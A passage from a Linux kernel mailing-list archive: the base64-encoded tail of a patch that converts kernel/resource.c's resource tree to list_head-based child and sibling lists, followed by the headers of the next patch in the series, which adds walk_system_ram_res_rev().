aW5nLnByZXYpOworCQkJCWxpc3RfZGVsKCZ0bXAtPnNpYmxpbmcpOwogCQkJfQorCiAJCQlvbGQt
PnBhcmVudCA9IE5VTEw7CiAJCQlyZXR1cm4gMDsKIAkJfQotCQlwID0gJnRtcC0+c2libGluZzsK
IAl9CiAJcmV0dXJuIC1FSU5WQUw7CiB9CiAKIHN0YXRpYyB2b2lkIF9fcmVsZWFzZV9jaGlsZF9y
ZXNvdXJjZXMoc3RydWN0IHJlc291cmNlICpyKQogewotCXN0cnVjdCByZXNvdXJjZSAqdG1wLCAq
cDsKKwlzdHJ1Y3QgcmVzb3VyY2UgKnRtcCwgKm5leHQ7CiAJcmVzb3VyY2Vfc2l6ZV90IHNpemU7
CiAKLQlwID0gci0+Y2hpbGQ7Ci0Jci0+Y2hpbGQgPSBOVUxMOwotCXdoaWxlIChwKSB7Ci0JCXRt
cCA9IHA7Ci0JCXAgPSBwLT5zaWJsaW5nOwotCisJbGlzdF9mb3JfZWFjaF9lbnRyeV9zYWZlKHRt
cCwgbmV4dCwgJnItPmNoaWxkLCBzaWJsaW5nKSB7CiAJCXRtcC0+cGFyZW50ID0gTlVMTDsKLQkJ
dG1wLT5zaWJsaW5nID0gTlVMTDsKKwkJbGlzdF9kZWxfaW5pdCgmdG1wLT5zaWJsaW5nKTsKIAkJ
X19yZWxlYXNlX2NoaWxkX3Jlc291cmNlcyh0bXApOwogCiAJCXByaW50ayhLRVJOX0RFQlVHICJy
ZWxlYXNlIGNoaWxkIHJlc291cmNlICVwUlxuIiwgdG1wKTsKQEAgLTI1OSw2ICsyNjEsOCBAQCBz
dGF0aWMgdm9pZCBfX3JlbGVhc2VfY2hpbGRfcmVzb3VyY2VzKHN0cnVjdCByZXNvdXJjZSAqcikK
IAkJdG1wLT5zdGFydCA9IDA7CiAJCXRtcC0+ZW5kID0gc2l6ZSAtIDE7CiAJfQorCisJSU5JVF9M
SVNUX0hFQUQoJnRtcC0+Y2hpbGQpOwogfQogCiB2b2lkIHJlbGVhc2VfY2hpbGRfcmVzb3VyY2Vz
KHN0cnVjdCByZXNvdXJjZSAqcikKQEAgLTM0Myw3ICszNDcsOCBAQCBzdGF0aWMgaW50IGZpbmRf
bmV4dF9pb21lbV9yZXMoc3RydWN0IHJlc291cmNlICpyZXMsIHVuc2lnbmVkIGxvbmcgZGVzYywK
IAogCXJlYWRfbG9jaygmcmVzb3VyY2VfbG9jayk7CiAKLQlmb3IgKHAgPSBpb21lbV9yZXNvdXJj
ZS5jaGlsZDsgcDsgcCA9IG5leHRfcmVzb3VyY2UocCwgc2libGluZ19vbmx5KSkgeworCWZvciAo
cCA9IHJlc291cmNlX2ZpcnN0X2NoaWxkKCZpb21lbV9yZXNvdXJjZS5jaGlsZCk7IHA7CisJCQlw
ID0gbmV4dF9yZXNvdXJjZShwLCBzaWJsaW5nX29ubHkpKSB7CiAJCWlmICgocC0+ZmxhZ3MgJiBy
ZXMtPmZsYWdzKSAhPSByZXMtPmZsYWdzKQogCQkJY29udGludWU7CiAJCWlmICgoZGVzYyAhPSBJ
T1JFU19ERVNDX05PTkUpICYmIChkZXNjICE9IHAtPmRlc2MpKQpAQCAtNTMyLDcgKzUzNyw3IEBA
IGludCByZWdpb25faW50ZXJzZWN0cyhyZXNvdXJjZV9zaXplX3Qgc3RhcnQsIHNpemVfdCBzaXpl
LCB1bnNpZ25lZCBsb25nIGZsYWdzLAogCXN0cnVjdCByZXNvdXJjZSAqcDsKIAogCXJlYWRfbG9j
aygmcmVzb3VyY2VfbG9jayk7Ci0JZm9yIChwID0gaW9tZW1fcmVzb3VyY2UuY2hpbGQ7IHAgOyBw
ID0gcC0+c2libGluZykgeworCWxpc3RfZm9yX2VhY2hfZW50cnkocCwgJmlvbWVtX3Jlc291cmNl
LmNoaWxkLCBzaWJsaW5nKSB7CiAJCWJvb2wgaXNfdHlwZSA9ICgoKHAtPmZsYWdzICYgZmxhZ3Mp
ID09IGZsYWdzKSAmJgogCQkJCSgoZGVzYyA9PSBJT1JFU19ERVNDX05PTkUpIHx8CiAJCQkJIChk
ZXNjID09IHAtPmRlc2MpKSk7CkBAIC01ODYsNyArNTkxLDcgQEAgc3RhdGljIGludCBfX2ZpbmRf
cmVzb3VyY2Uoc3RydWN0IHJlc291cmNlICpyb290LCBzdHJ1Y3QgcmVzb3VyY2UgKm9sZCwKIAkJ
CSByZXNvdXJjZV9zaXplX3QgIHNpemUsCiAJCQkgc3RydWN0IHJlc291cmNlX2NvbnN0cmFpbnQg
KmNvbnN0cmFpbnQpCiB7Ci0Jc3RydWN0IHJlc291cmNlICp0aGlzID0gcm9vdC0+Y2hpbGQ7CisJ
c3RydWN0IHJlc291cmNlICp0aGlzID0gcmVzb3VyY2VfZmlyc3RfY2hpbGQoJnJvb3QtPmNoaWxk
KTsKIAlzdHJ1Y3QgcmVzb3VyY2UgdG1wID0gKm5ldywgYXZhaWwsIGFsbG9jOwogCiAJdG1wLnN0
YXJ0ID0gcm9vdC0+c3RhcnQ7CkBAIC01OTYsNyArNjAxLDcgQEAgc3RhdGljIGludCBfX2ZpbmRf
cmVzb3VyY2Uoc3RydWN0IHJlc291cmNlICpyb290LCBzdHJ1Y3QgcmVzb3VyY2UgKm9sZCwKIAkg
Ki8KIAlpZiAodGhpcyAmJiB0aGlzLT5zdGFydCA9PSByb290LT5zdGFydCkgewogCQl0bXAuc3Rh
cnQgPSAodGhpcyA9PSBvbGQpID8gb2xkLT5zdGFydCA6IHRoaXMtPmVuZCArIDE7Ci0JCXRoaXMg
PSB0aGlzLT5zaWJsaW5nOworCQl0aGlzID0gcmVzb3VyY2Vfc2libGluZyh0aGlzKTsKIAl9CiAJ
Zm9yKDs7KSB7CiAJCWlmICh0aGlzKQpAQCAtNjMyLDcgKzYzNyw3IEBAIG5leHQ6CQlpZiAoIXRo
aXMgfHwgdGhpcy0+ZW5kID09IHJvb3QtPmVuZCkKIAogCQlpZiAodGhpcyAhPSBvbGQpCiAJCQl0
bXAuc3RhcnQgPSB0aGlzLT5lbmQgKyAxOwotCQl0aGlzID0gdGhpcy0+c2libGluZzsKKwkJdGhp
cyA9IHJlc291cmNlX3NpYmxpbmcodGhpcyk7CiAJfQogCXJldHVybiAtRUJVU1k7CiB9CkBAIC02
NzYsNyArNjgxLDcgQEAgc3RhdGljIGludCByZWFsbG9jYXRlX3Jlc291cmNlKHN0cnVjdCByZXNv
dXJjZSAqcm9vdCwgc3RydWN0IHJlc291cmNlICpvbGQsCiAJCWdvdG8gb3V0OwogCX0KIAotCWlm
IChvbGQtPmNoaWxkKSB7CisJaWYgKCFsaXN0X2VtcHR5KCZvbGQtPmNoaWxkKSkgewogCQllcnIg
PSAtRUJVU1k7CiAJCWdvdG8gb3V0OwogCX0KQEAgLTc1Nyw3ICs3NjIsNyBAQCBzdHJ1Y3QgcmVz
b3VyY2UgKmxvb2t1cF9yZXNvdXJjZShzdHJ1Y3QgcmVzb3VyY2UgKnJvb3QsIHJlc291cmNlX3Np
emVfdCBzdGFydCkKIAlzdHJ1Y3QgcmVzb3VyY2UgKnJlczsKIAogCXJlYWRfbG9jaygmcmVzb3Vy
Y2VfbG9jayk7Ci0JZm9yIChyZXMgPSByb290LT5jaGlsZDsgcmVzOyByZXMgPSByZXMtPnNpYmxp
bmcpIHsKKwlsaXN0X2Zvcl9lYWNoX2VudHJ5KHJlcywgJnJvb3QtPmNoaWxkLCBzaWJsaW5nKSB7
CiAJCWlmIChyZXMtPnN0YXJ0ID09IHN0YXJ0KQogCQkJYnJlYWs7CiAJfQpAQCAtNzkwLDMyICs3
OTUsMjcgQEAgc3RhdGljIHN0cnVjdCByZXNvdXJjZSAqIF9faW5zZXJ0X3Jlc291cmNlKHN0cnVj
dCByZXNvdXJjZSAqcGFyZW50LCBzdHJ1Y3QgcmVzb3UKIAkJCWJyZWFrOwogCX0KIAotCWZvciAo
bmV4dCA9IGZpcnN0OyA7IG5leHQgPSBuZXh0LT5zaWJsaW5nKSB7CisJZm9yIChuZXh0ID0gZmly
c3Q7IDsgbmV4dCA9IHJlc291cmNlX3NpYmxpbmcobmV4dCkpIHsKIAkJLyogUGFydGlhbCBvdmVy
bGFwPyBCYWQsIGFuZCB1bmZpeGFibGUgKi8KIAkJaWYgKG5leHQtPnN0YXJ0IDwgbmV3LT5zdGFy
dCB8fCBuZXh0LT5lbmQgPiBuZXctPmVuZCkKIAkJCXJldHVybiBuZXh0OwotCQlpZiAoIW5leHQt
PnNpYmxpbmcpCisJCWlmICghcmVzb3VyY2Vfc2libGluZyhuZXh0KSkKIAkJCWJyZWFrOwotCQlp
ZiAobmV4dC0+c2libGluZy0+c3RhcnQgPiBuZXctPmVuZCkKKwkJaWYgKHJlc291cmNlX3NpYmxp
bmcobmV4dCktPnN0YXJ0ID4gbmV3LT5lbmQpCiAJCQlicmVhazsKIAl9Ci0KIAluZXctPnBhcmVu
dCA9IHBhcmVudDsKLQluZXctPnNpYmxpbmcgPSBuZXh0LT5zaWJsaW5nOwotCW5ldy0+Y2hpbGQg
PSBmaXJzdDsKKwlsaXN0X2FkZCgmbmV3LT5zaWJsaW5nLCAmbmV4dC0+c2libGluZyk7CisJSU5J
VF9MSVNUX0hFQUQoJm5ldy0+Y2hpbGQpOwogCi0JbmV4dC0+c2libGluZyA9IE5VTEw7Ci0JZm9y
IChuZXh0ID0gZmlyc3Q7IG5leHQ7IG5leHQgPSBuZXh0LT5zaWJsaW5nKQorCS8qCisJICogRnJv
bSBmaXJzdCB0byBuZXh0LCB0aGV5IGFsbCBmYWxsIGludG8gbmV3J3MgcmVnaW9uLCBzbyBjaGFu
Z2UgdGhlbQorCSAqIGFzIG5ldydzIGNoaWxkcmVuLgorCSAqLworCWxpc3RfY3V0X3Bvc2l0aW9u
KCZuZXctPmNoaWxkLCBmaXJzdC0+c2libGluZy5wcmV2LCAmbmV4dC0+c2libGluZyk7CisJbGlz
dF9mb3JfZWFjaF9lbnRyeShuZXh0LCAmbmV3LT5jaGlsZCwgc2libGluZykKIAkJbmV4dC0+cGFy
ZW50ID0gbmV3OwogCi0JaWYgKHBhcmVudC0+Y2hpbGQgPT0gZmlyc3QpIHsKLQkJcGFyZW50LT5j
aGlsZCA9IG5ldzsKLQl9IGVsc2UgewotCQluZXh0ID0gcGFyZW50LT5jaGlsZDsKLQkJd2hpbGUg
KG5leHQtPnNpYmxpbmcgIT0gZmlyc3QpCi0JCQluZXh0ID0gbmV4dC0+c2libGluZzsKLQkJbmV4
dC0+c2libGluZyA9IG5ldzsKLQl9CiAJcmV0dXJuIE5VTEw7CiB9CiAKQEAgLTkzNywxOSArOTM3
LDE3IEBAIHN0YXRpYyBpbnQgX19hZGp1c3RfcmVzb3VyY2Uoc3RydWN0IHJlc291cmNlICpyZXMs
IHJlc291cmNlX3NpemVfdCBzdGFydCwKIAlpZiAoKHN0YXJ0IDwgcGFyZW50LT5zdGFydCkgfHwg
KGVuZCA+IHBhcmVudC0+ZW5kKSkKIAkJZ290byBvdXQ7CiAKLQlpZiAocmVzLT5zaWJsaW5nICYm
IChyZXMtPnNpYmxpbmctPnN0YXJ0IDw9IGVuZCkpCisJaWYgKHJlc291cmNlX3NpYmxpbmcocmVz
KSAmJiAocmVzb3VyY2Vfc2libGluZyhyZXMpLT5zdGFydCA8PSBlbmQpKQogCQlnb3RvIG91dDsK
IAotCXRtcCA9IHBhcmVudC0+Y2hpbGQ7Ci0JaWYgKHRtcCAhPSByZXMpIHsKLQkJd2hpbGUgKHRt
cC0+c2libGluZyAhPSByZXMpCi0JCQl0bXAgPSB0bXAtPnNpYmxpbmc7CisJaWYgKHJlcy0+c2li
bGluZy5wcmV2ICE9ICZwYXJlbnQtPmNoaWxkKSB7CisJCXRtcCA9IGxpc3RfcHJldl9lbnRyeShy
ZXMsIHNpYmxpbmcpOwogCQlpZiAoc3RhcnQgPD0gdG1wLT5lbmQpCiAJCQlnb3RvIG91dDsKIAl9
CiAKIHNraXA6Ci0JZm9yICh0bXAgPSByZXMtPmNoaWxkOyB0bXA7IHRtcCA9IHRtcC0+c2libGlu
ZykKKwlsaXN0X2Zvcl9lYWNoX2VudHJ5KHRtcCwgJnJlcy0+Y2hpbGQsIHNpYmxpbmcpCiAJCWlm
ICgodG1wLT5zdGFydCA8IHN0YXJ0KSB8fCAodG1wLT5lbmQgPiBlbmQpKQogCQkJZ290byBvdXQ7
CiAKQEAgLTk5MywyOCArOTkxLDMxIEBAIEVYUE9SVF9TWU1CT0woYWRqdXN0X3Jlc291cmNlKTsK
ICAqLwogaW50IHJlcGFyZW50X3Jlc291cmNlcyhzdHJ1Y3QgcmVzb3VyY2UgKnBhcmVudCwgc3Ry
dWN0IHJlc291cmNlICpyZXMpCiB7Ci0Jc3RydWN0IHJlc291cmNlICpwLCAqKnBwOwotCXN0cnVj
dCByZXNvdXJjZSAqKmZpcnN0cHAgPSBOVUxMOworCXN0cnVjdCByZXNvdXJjZSAqcCwgKmZpcnN0
ID0gTlVMTDsKIAotCWZvciAocHAgPSAmcGFyZW50LT5jaGlsZDsgKHAgPSAqcHApICE9IE5VTEw7
IHBwID0gJnAtPnNpYmxpbmcpIHsKKwlsaXN0X2Zvcl9lYWNoX2VudHJ5KHAsICZwYXJlbnQtPmNo
aWxkLCBzaWJsaW5nKSB7CiAJCWlmIChwLT5lbmQgPCByZXMtPnN0YXJ0KQogCQkJY29udGludWU7
CiAJCWlmIChyZXMtPmVuZCA8IHAtPnN0YXJ0KQogCQkJYnJlYWs7CiAJCWlmIChwLT5zdGFydCA8
IHJlcy0+c3RhcnQgfHwgcC0+ZW5kID4gcmVzLT5lbmQpCiAJCQlyZXR1cm4gLUVOT1RTVVBQOwkv
KiBub3QgY29tcGxldGVseSBjb250YWluZWQgKi8KLQkJaWYgKGZpcnN0cHAgPT0gTlVMTCkKLQkJ
CWZpcnN0cHAgPSBwcDsKKwkJaWYgKGZpcnN0ID09IE5VTEwpCisJCQlmaXJzdCA9IHA7CiAJfQot
CWlmIChmaXJzdHBwID09IE5VTEwpCisJaWYgKGZpcnN0ID09IE5VTEwpCiAJCXJldHVybiAtRUNB
TkNFTEVEOyAvKiBkaWRuJ3QgZmluZCBhbnkgY29uZmxpY3RpbmcgZW50cmllcz8gKi8KIAlyZXMt
PnBhcmVudCA9IHBhcmVudDsKLQlyZXMtPmNoaWxkID0gKmZpcnN0cHA7Ci0JcmVzLT5zaWJsaW5n
ID0gKnBwOwotCSpmaXJzdHBwID0gcmVzOwotCSpwcCA9IE5VTEw7Ci0JZm9yIChwID0gcmVzLT5j
aGlsZDsgcCAhPSBOVUxMOyBwID0gcC0+c2libGluZykgewotCQlwLT5wYXJlbnQgPSByZXM7CisJ
bGlzdF9hZGQoJnJlcy0+c2libGluZywgcC0+c2libGluZy5wcmV2KTsKKwlJTklUX0xJU1RfSEVB
RCgmcmVzLT5jaGlsZCk7CisKKwkvKgorCSAqIEZyb20gZmlyc3QgdG8gcCdzIHByZXZpb3VzIHNp
YmxpbmcsIHRoZXkgYWxsIGZhbGwgaW50bworCSAqIHJlcydzIHJlZ2lvbiwgY2hhbmdlIHRoZW0g
YXMgcmVzJ3MgY2hpbGRyZW4uCisJICovCisJbGlzdF9jdXRfcG9zaXRpb24oJnJlcy0+Y2hpbGQs
IGZpcnN0LT5zaWJsaW5nLnByZXYsIHJlcy0+c2libGluZy5wcmV2KTsKKwlsaXN0X2Zvcl9lYWNo
X2VudHJ5KHAsICZyZXMtPmNoaWxkLCBzaWJsaW5nKSB7CisgICAgICAgICAgICAgICAgcC0+cGFy
ZW50ID0gcmVzOwogCQlwcl9kZWJ1ZygiUENJOiBSZXBhcmVudGVkICVzICVwUiB1bmRlciAlc1xu
IiwKIAkJCSBwLT5uYW1lLCBwLCByZXMtPm5hbWUpOwogCX0KQEAgLTEyMTMsMzQgKzEyMTQsMzIg
QEAgRVhQT1JUX1NZTUJPTChfX3JlcXVlc3RfcmVnaW9uKTsKIHZvaWQgX19yZWxlYXNlX3JlZ2lv
bihzdHJ1Y3QgcmVzb3VyY2UgKnBhcmVudCwgcmVzb3VyY2Vfc2l6ZV90IHN0YXJ0LAogCQkJcmVz
b3VyY2Vfc2l6ZV90IG4pCiB7Ci0Jc3RydWN0IHJlc291cmNlICoqcDsKKwlzdHJ1Y3QgcmVzb3Vy
Y2UgKnJlczsKIAlyZXNvdXJjZV9zaXplX3QgZW5kOwogCi0JcCA9ICZwYXJlbnQtPmNoaWxkOwor
CXJlcyA9IHJlc291cmNlX2ZpcnN0X2NoaWxkKCZwYXJlbnQtPmNoaWxkKTsKIAllbmQgPSBzdGFy
dCArIG4gLSAxOwogCiAJd3JpdGVfbG9jaygmcmVzb3VyY2VfbG9jayk7CiAKIAlmb3IgKDs7KSB7
Ci0JCXN0cnVjdCByZXNvdXJjZSAqcmVzID0gKnA7Ci0KIAkJaWYgKCFyZXMpCiAJCQlicmVhazsK
IAkJaWYgKHJlcy0+c3RhcnQgPD0gc3RhcnQgJiYgcmVzLT5lbmQgPj0gZW5kKSB7CiAJCQlpZiAo
IShyZXMtPmZsYWdzICYgSU9SRVNPVVJDRV9CVVNZKSkgewotCQkJCXAgPSAmcmVzLT5jaGlsZDsK
KwkJCQlyZXMgPSByZXNvdXJjZV9maXJzdF9jaGlsZCgmcmVzLT5jaGlsZCk7CiAJCQkJY29udGlu
dWU7CiAJCQl9CiAJCQlpZiAocmVzLT5zdGFydCAhPSBzdGFydCB8fCByZXMtPmVuZCAhPSBlbmQp
CiAJCQkJYnJlYWs7Ci0JCQkqcCA9IHJlcy0+c2libGluZzsKKwkJCWxpc3RfZGVsKCZyZXMtPnNp
YmxpbmcpOwogCQkJd3JpdGVfdW5sb2NrKCZyZXNvdXJjZV9sb2NrKTsKIAkJCWlmIChyZXMtPmZs
YWdzICYgSU9SRVNPVVJDRV9NVVhFRCkKIAkJCQl3YWtlX3VwKCZtdXhlZF9yZXNvdXJjZV93YWl0
KTsKIAkJCWZyZWVfcmVzb3VyY2UocmVzKTsKIAkJCXJldHVybjsKIAkJfQotCQlwID0gJnJlcy0+
c2libGluZzsKKwkJcmVzID0gcmVzb3VyY2Vfc2libGluZyhyZXMpOwogCX0KIAogCXdyaXRlX3Vu
bG9jaygmcmVzb3VyY2VfbG9jayk7CkBAIC0xMjc1LDkgKzEyNzQsNyBAQCBFWFBPUlRfU1lNQk9M
KF9fcmVsZWFzZV9yZWdpb24pOwogaW50IHJlbGVhc2VfbWVtX3JlZ2lvbl9hZGp1c3RhYmxlKHN0
cnVjdCByZXNvdXJjZSAqcGFyZW50LAogCQkJcmVzb3VyY2Vfc2l6ZV90IHN0YXJ0LCByZXNvdXJj
ZV9zaXplX3Qgc2l6ZSkKIHsKLQlzdHJ1Y3QgcmVzb3VyY2UgKipwOwotCXN0cnVjdCByZXNvdXJj
ZSAqcmVzOwotCXN0cnVjdCByZXNvdXJjZSAqbmV3X3JlczsKKwlzdHJ1Y3QgcmVzb3VyY2UgKnJl
cywgKm5ld19yZXM7CiAJcmVzb3VyY2Vfc2l6ZV90IGVuZDsKIAlpbnQgcmV0ID0gLUVJTlZBTDsK
IApAQCAtMTI4OCwxNiArMTI4NSwxNiBAQCBpbnQgcmVsZWFzZV9tZW1fcmVnaW9uX2FkanVzdGFi
bGUoc3RydWN0IHJlc291cmNlICpwYXJlbnQsCiAJLyogVGhlIGFsbG9jX3Jlc291cmNlKCkgcmVz
dWx0IGdldHMgY2hlY2tlZCBsYXRlciAqLwogCW5ld19yZXMgPSBhbGxvY19yZXNvdXJjZShHRlBf
S0VSTkVMKTsKIAotCXAgPSAmcGFyZW50LT5jaGlsZDsKKwlyZXMgPSByZXNvdXJjZV9maXJzdF9j
aGlsZCgmcGFyZW50LT5jaGlsZCk7CiAJd3JpdGVfbG9jaygmcmVzb3VyY2VfbG9jayk7CiAKLQl3
aGlsZSAoKHJlcyA9ICpwKSkgeworCXdoaWxlICgocmVzKSkgewogCQlpZiAocmVzLT5zdGFydCA+
PSBlbmQpCiAJCQlicmVhazsKIAogCQkvKiBsb29rIGZvciB0aGUgbmV4dCByZXNvdXJjZSBpZiBp
dCBkb2VzIG5vdCBmaXQgaW50byAqLwogCQlpZiAocmVzLT5zdGFydCA+IHN0YXJ0IHx8IHJlcy0+
ZW5kIDwgZW5kKSB7Ci0JCQlwID0gJnJlcy0+c2libGluZzsKKwkJCXJlcyA9IHJlc291cmNlX3Np
YmxpbmcocmVzKTsKIAkJCWNvbnRpbnVlOwogCQl9CiAKQEAgLTEzMDUsMTQgKzEzMDIsMTQgQEAg
aW50IHJlbGVhc2VfbWVtX3JlZ2lvbl9hZGp1c3RhYmxlKHN0cnVjdCByZXNvdXJjZSAqcGFyZW50
LAogCQkJYnJlYWs7CiAKIAkJaWYgKCEocmVzLT5mbGFncyAmIElPUkVTT1VSQ0VfQlVTWSkpIHsK
LQkJCXAgPSAmcmVzLT5jaGlsZDsKKwkJCXJlcyA9IHJlc291cmNlX2ZpcnN0X2NoaWxkKCZyZXMt
PmNoaWxkKTsKIAkJCWNvbnRpbnVlOwogCQl9CiAKIAkJLyogZm91bmQgdGhlIHRhcmdldCByZXNv
dXJjZTsgbGV0J3MgYWRqdXN0IGFjY29yZGluZ2x5ICovCiAJCWlmIChyZXMtPnN0YXJ0ID09IHN0
YXJ0ICYmIHJlcy0+ZW5kID09IGVuZCkgewogCQkJLyogZnJlZSB0aGUgd2hvbGUgZW50cnkgKi8K
LQkJCSpwID0gcmVzLT5zaWJsaW5nOworCQkJbGlzdF9kZWwoJnJlcy0+c2libGluZyk7CiAJCQlm
cmVlX3Jlc291cmNlKHJlcyk7CiAJCQlyZXQgPSAwOwogCQl9IGVsc2UgaWYgKHJlcy0+c3RhcnQg
PT0gc3RhcnQgJiYgcmVzLT5lbmQgIT0gZW5kKSB7CkBAIC0xMzM1LDE0ICsxMzMyLDEzIEBAIGlu
dCByZWxlYXNlX21lbV9yZWdpb25fYWRqdXN0YWJsZShzdHJ1Y3QgcmVzb3VyY2UgKnBhcmVudCwK
IAkJCW5ld19yZXMtPmZsYWdzID0gcmVzLT5mbGFnczsKIAkJCW5ld19yZXMtPmRlc2MgPSByZXMt
PmRlc2M7CiAJCQluZXdfcmVzLT5wYXJlbnQgPSByZXMtPnBhcmVudDsKLQkJCW5ld19yZXMtPnNp
YmxpbmcgPSByZXMtPnNpYmxpbmc7Ci0JCQluZXdfcmVzLT5jaGlsZCA9IE5VTEw7CisJCQlJTklU
X0xJU1RfSEVBRCgmbmV3X3Jlcy0+Y2hpbGQpOwogCiAJCQlyZXQgPSBfX2FkanVzdF9yZXNvdXJj
ZShyZXMsIHJlcy0+c3RhcnQsCiAJCQkJCQlzdGFydCAtIHJlcy0+c3RhcnQpOwogCQkJaWYgKHJl
dCkKIAkJCQlicmVhazsKLQkJCXJlcy0+c2libGluZyA9IG5ld19yZXM7CisJCQlsaXN0X2FkZCgm
bmV3X3Jlcy0+c2libGluZywgJnJlcy0+c2libGluZyk7CiAJCQluZXdfcmVzID0gTlVMTDsKIAkJ
fQogCkBAIC0xNTIzLDcgKzE1MTksNyBAQCBzdGF0aWMgaW50IF9faW5pdCByZXNlcnZlX3NldHVw
KGNoYXIgKnN0cikKIAkJCXJlcy0+ZW5kID0gaW9fc3RhcnQgKyBpb19udW0gLSAxOwogCQkJcmVz
LT5mbGFncyB8PSBJT1JFU09VUkNFX0JVU1k7CiAJCQlyZXMtPmRlc2MgPSBJT1JFU19ERVNDX05P
TkU7Ci0JCQlyZXMtPmNoaWxkID0gTlVMTDsKKwkJCUlOSVRfTElTVF9IRUFEKCZyZXMtPmNoaWxk
KTsKIAkJCWlmIChyZXF1ZXN0X3Jlc291cmNlKHBhcmVudCwgcmVzKSA9PSAwKQogCQkJCXJlc2Vy
dmVkID0geCsxOwogCQl9CkBAIC0xNTQzLDcgKzE1MzksNyBAQCBpbnQgaW9tZW1fbWFwX3Nhbml0
eV9jaGVjayhyZXNvdXJjZV9zaXplX3QgYWRkciwgdW5zaWduZWQgbG9uZyBzaXplKQogCWxvZmZf
dCBsOwogCiAJcmVhZF9sb2NrKCZyZXNvdXJjZV9sb2NrKTsKLQlmb3IgKHAgPSBwLT5jaGlsZDsg
cCA7IHAgPSByX25leHQoTlVMTCwgcCwgJmwpKSB7CisJZm9yIChwID0gcmVzb3VyY2VfZmlyc3Rf
Y2hpbGQoJnAtPmNoaWxkKTsgcDsgcCA9IHJfbmV4dChOVUxMLCBwLCAmbCkpIHsKIAkJLyoKIAkJ
ICogV2UgY2FuIHByb2JhYmx5IHNraXAgdGhlIHJlc291cmNlcyB3aXRob3V0CiAJCSAqIElPUkVT
T1VSQ0VfSU8gYXR0cmlidXRlPwpAQCAtMTU5OSw3ICsxNTk1LDcgQEAgYm9vbCBpb21lbV9pc19l
eGNsdXNpdmUodTY0IGFkZHIpCiAJYWRkciA9IGFkZHIgJiBQQUdFX01BU0s7CiAKIAlyZWFkX2xv
Y2soJnJlc291cmNlX2xvY2spOwotCWZvciAocCA9IHAtPmNoaWxkOyBwIDsgcCA9IHJfbmV4dChO
VUxMLCBwLCAmbCkpIHsKKwlmb3IgKHAgPSByZXNvdXJjZV9maXJzdF9jaGlsZCgmcC0+Y2hpbGQp
OyBwOyBwID0gcl9uZXh0KE5VTEwsIHAsICZsKSkgewogCQkvKgogCQkgKiBXZSBjYW4gcHJvYmFi
bHkgc2tpcCB0aGUgcmVzb3VyY2VzIHdpdGhvdXQKIAkJICogSU9SRVNPVVJDRV9JTyBhdHRyaWJ1
dGU/Ci0tIAoyLjEzLjYKCl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fCkxpbnV4LW52ZGltbSBtYWlsaW5nIGxpc3QKTGludXgtbnZkaW1tQGxpc3RzLjAxLm9y
ZwpodHRwczovL2xpc3RzLjAxLm9yZy9tYWlsbWFuL2xpc3RpbmZvL2xpbnV4LW52ZGltbQo=


From - Thu Nov 08 21:41:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.ports.ppc64.devel
Subject: [PATCH v6 3/4] resource: add walk_system_ram_res_rev()
Date: Wed,  4 Jul 2018 12:10:37 +0800
Lines: 54
Approved: news@gmane.org
Message-ID: <20180704041038.8190-4-bhe@redhat.com>
References: <20180704041038.8190-1-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1530677403 20390 195.159.176.226 (4 Jul 2018 04:10:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Jul 2018 04:10:03 +0000 (UTC)
Cc: brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
 linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org, patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org,
 bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org,
 devel-tBiZLqfeLfOHmIFyCCdPziST3g8Odh+X@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
 davem@davem
